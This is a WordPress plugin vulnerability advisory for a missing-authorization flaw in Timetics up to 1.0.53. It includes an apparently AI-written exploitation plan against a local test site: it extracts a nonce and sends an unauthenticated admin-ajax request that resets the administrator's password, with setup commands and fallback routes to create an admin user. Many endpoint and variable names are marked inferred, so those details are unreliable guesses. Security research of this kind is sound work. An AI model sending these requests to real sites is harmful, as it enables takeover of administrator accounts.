Timetics – Appointment Booking & Scheduling <= 1.0.53 - Missing Authorization
Description
The Timetics – Appointment Booking & Scheduling plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.0.53. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.0.54
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-39432 (Timetics Missing Authorization) ## 1. Vulnerability Summary The **Timetics – Appointment Booking & Scheduling** plugin (<= 1.0.53) contains a missing authorization vulnerability. Specifically, several administrative functions related to staff management…
Show full research plan
Exploitation Research Plan: CVE-2026-39432 (Timetics Missing Authorization)
1. Vulnerability Summary
The Timetics – Appointment Booking & Scheduling plugin (<= 1.0.53) contains a missing authorization vulnerability. Specifically, several administrative functions related to staff management and bookings are exposed via AJAX or REST API endpoints without sufficient capability checks (current_user_can). Because the plugin registers these actions for unauthenticated users (via wp_ajax_nopriv_*) or lacks a proper permission_callback in REST routes, an unauthenticated attacker can perform sensitive actions such as modifying staff details or passwords.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.php(AJAX) or/wp-json/timetics/v1/(REST API). - Vulnerable Action:
timetics_staff_password_update(inferred based on JS chunk0e2a61d8585862c26561.chunk.js). - Parameter:
staff_id(ID of the user/staff to modify),password(new password), and likely a nonce. - Authentication: None Required (
PR:N). - Preconditions: The attacker must obtain a valid security nonce, which is frequently leaked to unauthenticated users via the frontend booking page.
3. Code Flow
- Entry Point: An unauthenticated HTTP request is made to
wp-admin/admin-ajax.phpwithaction=timetics_staff_password_update. - Hook: The plugin likely registers
add_action('wp_ajax_nopriv_timetics_staff_password_update', ...)or a similar REST route incore/REST/Staff.php(inferred). - Missing Check: The handler function (e.g.,
update_staff_password) verifies the nonce but fails to verify if the requester has administrative privileges (manage_options). - Sink: The function calls
wp_set_password()or updates the user meta/database directly using the providedstaff_id.
4. Nonce Acquisition Strategy
The plugin localizes technical parameters for its booking interface. Even unauthenticated users visiting a page with a Timetics booking form can access the nonce.
- Identify Shortcode: The plugin uses
[timetics]or[timetics_booking](inferred) to render the booking interface. - Setup: Create a public page containing the shortcode.
- Navigation: Use
browser_navigateto visit this page. - Extraction: Use
browser_evalto extract the nonce from the localized JS object.- Variable Name:
timetics_paramsortimetics_admin(inferred). - Key:
nonce. - Command:
browser_eval("window.timetics_params?.nonce").
- Variable Name:
5. Exploitation Strategy
We will attempt to change the password of an existing staff member or administrator.
Step 1: Discover Target User ID
Identify the ID of a target user (e.g., ID 1 for the default admin).
Step 2: Obtain Nonce
As described in section 4, navigate to a page with the Timetics shortcode and extract the nonce.
Step 3: Send Malicious Request
Use the http_request tool to trigger the password update.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: If the endpoint is REST-based, the URL would beaction=timetics_staff_password_update&nonce=[NONCE]&staff_id=1&password=PwnedPassword123!/wp-json/timetics/v1/staff/password-updatewith a JSON body).
6. Test Data Setup
- Install Plugin: Ensure Timetics v1.0.53 is installed.
- Create Target: Create a "Staff" member in Timetics (which creates a WP User) or target the existing Admin (ID 1).
- Create Public Page:
wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[timetics]'
7. Expected Results
- Response: The server should return a JSON success message (e.g.,
{"success": true, "data": "Password updated successfully"}). - Effect: The user record for
staff_id=1will have its password changed toPwnedPassword123!.
8. Verification Steps
After the exploit attempt, verify the password change using WP-CLI:
wp user check-password admin "PwnedPassword123!"
If the command returns Success: Password correct., the exploitation was successful.
9. Alternative Approaches
If timetics_staff_password_update is not the correct action name:
- Grep for Hooks: Use
grep -r "wp_ajax_nopriv" wp-content/plugins/timeticsto find all unauthenticated AJAX actions. - Check Staff Creation: Attempt to use
timetics_create_staff(from JScreateStaffApi) to create a new administrative user. - Check REST Routes: Look for
register_rest_routein the plugin source and check for routes withpermission_callbackset to__return_true.- Potential route:
POST /wp-json/timetics/v1/staff/save - Parameters:
user_id,user_pass.
- Potential route:
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.